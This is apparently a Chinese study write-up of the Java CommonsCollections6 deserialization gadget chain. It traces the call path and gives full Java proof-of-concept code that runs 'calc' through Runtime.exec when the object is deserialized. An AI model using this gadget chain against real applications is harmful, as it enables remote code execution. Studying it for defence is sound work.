JAVA反序列化CC6

参考:Java反序列化CommonsCollections篇(二)-最好用的CC链

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java

环境搭建

同CC1

漏洞分析

跟CC1一样 追踪transform的使用

跟踪到LazyMap.get

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

再到TiedMapEntry.hashCode 很明显这里我们又可以利用 HashMap了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

public Object getValue() {
return map.get(key); // 1
}

public int hashCode() {
Object value = getValue(); // 2
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
}

HashMap readObject中会对key调用hashCode方法

构造思路

  • 构造HashMap 其中key放一个TiedMapEntry
  • 这里TiedMapEntry 里的map放LazyMap,key可以随便
  • LazyMap 的构造可以用到ChainedTransform

要注意的是LazyMap.get 中当key不存在时才会调用transform方法 然后会put key到map中

因为序列化时就会调用hashCode触发这条链 所以序列化之后要把key从map中移除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class CC6Test {
public static void main(String[] args) throws Exception {
/*
HashMap.readObject()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
*/
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> o = new HashMap<>();
o.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");
// serializeTest(o);
unSerializeTest();
}
public static void serializeTest(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("bin"));
oos.writeObject(obj);
}
public static void unSerializeTest() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("bin"));
Object obj = ois.readObject();
}
}
⬆︎TOP